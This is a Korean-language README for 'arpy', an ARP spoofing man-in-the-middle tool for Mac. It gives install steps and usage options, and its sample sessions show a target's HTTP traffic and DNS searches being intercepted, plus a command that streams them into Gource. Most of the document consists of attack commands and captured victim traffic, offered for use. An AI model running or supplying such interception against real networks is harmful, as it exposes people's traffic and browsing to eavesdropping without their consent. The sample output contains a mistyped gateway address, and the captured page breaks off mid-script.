ivanvza/arpyMac OSX ARP spoof (MiTM) 도구로, Gource에 플러그인할 수도 있습니다.
Arpy는 Mac을 위한 사용하기 쉬운 ARP 스푸핑 MiTM 도구입니다. 다음의 3가지 대상 기능을 제공합니다:
brew install gource
pip install scapy
$ git clone https://github.com/dugsong/libdnet.git
$ cd libdnet
$ ./configure && make && make install
cd python
python setup.py install
ivanvza:~/ > sudo arpy
_____
| _ |___ ___ _ _
| | _| . | | |
|__|__|_| | _|_ |
MiTM Tool |_| |___|
v3.15 -@viljoenivan
Usage: arpy -t <Target IP> -g <Gateway IP> -i <Interface>
ARP MiTM Tool
Options:
-h, --help show this help message and exit
-t TARGET, --target=TARGET
The Target IP
-g GATEWAY, --gateway=GATEWAY
The Gateway
-i INTERFACE, --interface=INTERFACE
Interface to use
--tcp Filters out only tcp traffic
--udp Filters out only udp traffic
-d D_PORT, --destination_port=D_PORT
Filter for a destination port
-s S_PORT, --source_port=S_PORT
Filter for a source port
--sniff Sniff all passing data
--sniff-dns Sniff only searched domains
--sniff-dns-gource Output target's DNS searches in gource format
-v Verbose scapy packet print
이것은 패킷 스니퍼로, 대상의 트래픽을 볼 수 있습니다.
ivanvza:~/ > sudo arpy -t 192.168.1.3 -g 192.161.1.1 -i en0 --sniff
_____
| _ |___ ___ _ _
| | _| . | | |
|__|__|_| | _|_ |
MiTM Tool |_| |___|
v3.15 -@viljoenivan
[Info] Starting Sniffer...
[Info] Enabling IP Forwarding...
[Info] Filter: ((src host 192.168.1.3 or dst host 192.168.1.3))
[Info] Found the following (IP layer): 192.168.1.3 -> 46.101.34.90
GET / HTTP/1.1
User-Agent: curl/7.37.1
Host: ivanvza.ninja
Accept: */*
[Info] Found the following (IP layer): 46.101.34.90 -> 192.168.1.3
HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Type: text/html
Accept-Ranges: bytes
ETag: "2719538271"
Last-Modified: Thu, 30 Apr 2015 08:25:15 GMT
Content-Length: 3213
Date: Fri, 29 May 2015 20:15:06 GMT
Server: Microsoft IIS
<html>
<title>><></title>
<body>
<pre style="line-height: 1.25; white-space: pre;">
\ SORRY /
\ /
\ This page does /
] not exist yet. [ ,'|
] [ / |
]___ ___[ ,' |
] ]\ /[ [ |: |
] ] \ / [ [ |: |
] ] ] [ [ [ |: |
] ] ]__ __[ [ [ |: |
] ] ] ]\ _ /[ [ [ [ |: |
] ] ] ] (#) [ [ [ [ |: |
] ] ]_].nHn.[_[ [ [
] ] ] HHHHH. [ [ [
] ] / `HH("N \ [ [
]__]/ HHH " \[__[
] NNN [
] N/" [
] N H [
/ N \
/ q, \
/ \
</pre>
<h3 id="list"><h3>
</body>
<script>
// NOTE: window.RTCPeerConnection is "not a constructor" in FF22/23
var RTCPeerConnection = /*window.RTCPeerConnection ||
이 기능을 사용하면 대상이 현재 요청 중인 도메인 이름을 볼 수 있습니다.
ivanvza:~/ > sudo arpy -t 192.168.1.4 -g 192.168.1.1 -i en0 --sniff-dns
_____
| _ |___ ___ _ _
| | _| . | | |
|__|__|_| | _|_ |
MiTM Tool |_| |___|
- @viljoenivan
[Info] Starting DNS Sniffer...
[Info] Enabling IP Forwarding...
[Info] Done...
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: www.youtube.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: s2.googleusercontent.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: s.ytimg.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: fonts.gstatic.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: yt3.ggpht.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: i.ytimg.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing.google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing-cache.google.com.
Target: 192.168.1.4 -> (192.168.1.1/DNS server) has searched for: safebrowsing-cache.google.com.
이 기능은 위의 기능과 대체로 동일하지만, Gource에 전달하여 대상이 보고 있는 내용의 실시간 피드를 얻을 수 있는 기능을 제공합니다.
ivanvza:~/ > sudo arpy -t 192.168.1.3 -g 192.161.1.1 -i en0 --sniff-dns-gource
[INFO] For a live gource feed run this command in parallel with this one:
tail -f /tmp/36847parsed_nmap | tee /dev/stderr | gource -log-format custom -a 1 --file-idle-time 0 -
[Info] Filter: ((src host 192.168.1.3 or dst host 192.168.1.3) and dst port 53)
@viljoenivan